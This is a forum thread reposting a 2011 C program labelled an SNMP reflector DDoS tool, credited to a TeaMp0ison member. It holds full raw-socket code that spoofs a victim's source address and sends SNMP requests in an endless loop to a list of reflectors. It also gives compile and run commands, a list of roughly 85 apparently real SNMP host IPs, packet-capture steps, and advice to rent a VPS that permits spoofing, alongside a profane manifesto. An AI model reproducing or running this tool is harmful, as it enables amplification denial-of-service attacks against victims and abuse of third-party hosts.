It looks like you're new here. If you want to get involved, click one of these buttons!
*
Exploit Title: SNMP Refelector DDOS
Date: 9:2:11
Author: Hex00010
Tested on: Comcast Modems
Contact: uat666@hotmail.com
*/
#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>
/*
The Government is a Corrupted Organization
We are here to show the world the truth about them
You dont like it - go fuck your self
Anarchy For Life Bitch
===============================================================================
THIS CODE IS MEANT TO STAY PRIVATE - DO NOT SHARE WITH ANYONE - It Is Now Public you Can repost this BUT give Credits
===============================================================================
by Hex00010 - TeaMp0ison - 2011
*/
char payload[] = \"\x30\x23\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x16\x02\x02\x4e\x47\"
\"\x02\x01\x00\x02\x02\x08\xca\x30\x09\x30\x07\x06\x03\x2b\x06\x01\x05\x00\";
struct iphdr ip_head;
struct udphdr udp_head;
struct sockaddr_in target;
struct udp_pseudo /*the udp pseudo header*/
{
unsigned int src_addr;
unsigned int dst_addr;
unsigned char dummy;
unsigned char proto;
unsigned short length;
} pseudohead;
struct help_checksum /*struct for checksum calculation*/
{
struct udp_pseudo pshd;
struct udphdr udphd;
} udp_chk_construct;
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft=len;
register unsigned short *w=addr;
register int sum=0;
unsigned short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(u_char *)(&answer)=*(u_char *)w;
sum+=answer;
}
sum=(sum >> 16)+(sum & 0xffff);
sum+=(sum >> 16);
answer=~sum;
return(answer);
}
void send_udp(int sfd,unsigned int src,unsigned short src_p,
unsigned int dst,unsigned short dst_p,char *buffer,int len)
{
char *packet;
int i;
/*Prepare IP header*/
ip_head.ihl = 5; /*headerlength with no options*/
ip_head.version = 4;
ip_head.tos = 22;
ip_head.tot_len = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
ip_head.id = htons(30000 + (rand()%100));
ip_head.frag_off = 0;
ip_head.ttl = 64;
ip_head.protocol = IPPROTO_UDP;
ip_head.check = 0; /*Must be zero for checksum calculation*/
ip_head.saddr = src;
ip_head.daddr = dst;
ip_head.check = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));
/*Prepare UDP header*/
udp_head.source = htons(src_p);
udp_head.dest = htons(dst_p);
udp_head.len = htons(sizeof(struct udphdr)+sizeof(payload)-1);
udp_head.check = 0;
/*Assemble structure for checksum calculation and calculate checksum*/
pseudohead.src_addr=ip_head.saddr;
pseudohead.dst_addr=ip_head.daddr;
pseudohead.dummy=0;
pseudohead.proto=ip_head.protocol;
pseudohead.length=htons(sizeof(struct udphdr)+sizeof(payload)-1);
udp_chk_construct.pshd=pseudohead;
udp_chk_construct.udphd=udp_head;
packet=malloc(sizeof(struct help_checksum)+sizeof(payload)-1);
memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
memcpy(packet+sizeof(struct help_checksum),buffer,sizeof(payload)-1); /*checksum calculation*/
udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+sizeof(payload)-1);
free(packet);
/*Assemble packet*/
packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,sizeof(payload)-1);
/*Send packet*/
target.sin_family = AF_INET;
target.sin_addr.s_addr= ip_head.daddr;
target.sin_port = udp_head.source;
sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1,0,
(struct sockaddr *)&target,sizeof(struct sockaddr_in));
free(packet);
}
int main(int argc, char *argv[]) {
int i=0;
unsigned int srcip, dstip;
char *data;
data=malloc(sizeof(payload)+sizeof(payload)-1);
memcpy(data, payload, sizeof(payload)-1);
char* aline = calloc(16, sizeof(char) );
if(argc < 3) {
printf(\"By Hex00010 - TeaMp0ison - 2011\n\", argv[0]);
exit(1);
}
if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) /*open sending socket*/
{
perror(\"socket\");
exit(1);
}
for(;;) {
FILE* fp = fopen( argv[2], \"r\" );
/* skip fopen checking because its not really necessary for what we're doing*/
while ( !feof(fp) )
{
fscanf( fp, \"%s\n\", aline );
srcip = inet_addr(argv[1]);
dstip = inet_addr(aline);
send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
memset( aline, 0, 16 );
}
fclose(fp);
}
return 0;
}
/*
Greetz: Trick aka SayWhat? , Luit , Ins^ane, joepie91, Sabu , Anonymous
*/
./exploit [source IP] [File of destination IP's]
gcc -o Hex00010 Hex00010.c
./Hex00010 <target ip> <file.list>
Below is a sample of ip's
[code]
99.4.139.230
99.4.140.54
99.4.140.62
99.4.157.14
99.5.80.166
99.5.80.230
99.4.139.194
99.4.157.142
99.5.84.110
99.4.158.142
99.4.83.246
99.4.83.46
99.4.159.182
99.4.73.230
99.4.158.214
99.3.86.22
99.4.90.86
99.4.89.70
99.4.159.134
99.4.90.62
99.4.92.166
99.4.90.94
99.6.176.94
99.4.95.246
99.5.116.94
99.4.95.214
99.6.176.118
99.5.100.14
99.5.100.182
99.5.228.6
99.4.95.158
99.6.177.54
99.4.137.54
99.6.177.126
99.4.139.126
99.5.100.214
99.5.102.14
99.6.182.118
99.6.180.22
99.6.177.26
99.6.182.174
99.5.111.38
99.5.80.134
99.6.182.158
99.6.182.150
99.6.182.198
99.6.182.182
99.5.100.166
99.5.85.134
99.6.182.86
99.5.85.254
99.5.85.141
99.9.250.142
99.5.83.222
99.9.250.182
99.9.250.174
99.9.251.30
99.8.249.14
99.5.98.190
99.4.92.158
99.5.99.22
99.4.93.230
99.9.129.202
98.133.197.48
99.6.184.142
98.133.197.61
99.7.168.117
99.8.184.151
99.8.255.13
98.133.197.241
99.0.76.54
99.5.82.161
99.6.177.182
98.133.197.91
99.2.224.38
98.133.197.136
98.133.197.168
99.2.250.6
98.133.197.101
99.252.32.210
98.132.117.4
98.133.197.115
74.52.103.130
74.52.158.202
74.52.196.66
72.232.124.34
[/code]
Run a whois check on all those ip's and check for your self its running SNMP
Also while in a shell open up another shell and execute the following command
[code]
tcpdump -ni eth1 -w Packets.cap not port 22
[/code]
If you are running this locally on your pc execute this command only
[code]
tcpdump -ni eth1 -w Packets.cap
[/code]
If it gives you some error about eth1 type this command
[code]
ifconfig
[/code]
and get the name of your network name thing and replace it with eth1
Attack a site for like 30 seconds stop the attack and open up the .cap file by execute the following command
[code]
tcpdump -r Packets.cap
1)Actually I only tested on Comcast but i have sent packets and ran a TCPDUMP and this effects every opearting system
...
2)DO NOT RUN THIS ON YOUR LOCAL PC UNLESSS YOUR SYSTEM IS POWERFUL
...
3)Other wise you have to upload it on a VPS the hosting provider must allow Packet spoofing otherwise this 0day will not work
...
4)All you have to do is scan for SNMP ip's
...
5)Run a whois check on all those ip's
...
6)If it gives you some error about eth1 type this command
...
7)and get the name of your network name thing and replace it with eth1
i have never heard of SNMP in relation to port 163. also, doesn't SNMP use TCP when doing a BULK GET in version 3?
gcc -o Hex00010 Hex00010.c
./Hex00010 <target ip> <file.list>
for(;;) {
FILE* fp = fopen( argv[2], \"r\" );
while ( !feof(fp) )
{
fscanf( fp, \"%s\n\", aline );
...
dstip = inet_addr(aline);
...
while ( !feof(fp) )
{
...
srcip = inet_addr(argv[1]);
...
send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
...
}
Ooo btw i found it funny how i replied what LONG AGO and you NEVER EVER EVER replied ONCE